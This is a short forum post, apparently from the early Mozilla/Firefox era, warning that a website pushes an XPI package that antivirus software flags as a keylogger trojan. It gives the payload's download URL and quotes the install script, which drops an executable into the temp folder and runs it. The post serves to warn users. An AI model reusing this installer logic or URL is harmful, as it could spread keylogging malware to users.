TrojanHorse with Mozilla / Firefox

Hi,

a website tries to install the following software
     http://www2.flingstone.com/cab/sbc_netscape.xpi
if you d/l the xpi and expand the zip file your anti virus program will 
alert you with something like... "keylog-briss" Trojan horse detected

You can turn the software installation off on Mozilla but not in the 
FireFox preferences.

I think most people believe they have no virus problems with 
Mozilla/FireFox but that's not true...

Ciao
  dirk

PS: the java script
var xpiSrc = "sbc_netscape.exe";
initInstall("Adding a File", "addFile", "1.0.0.117",1);
f = getFolder("Temporary");
setPackageFolder(f);
addFile(xpiSrc);
execute(xpiSrc,"",false);

if (getLastError() == 0) {
     performInstall();
} else {
     cancelInstall();
}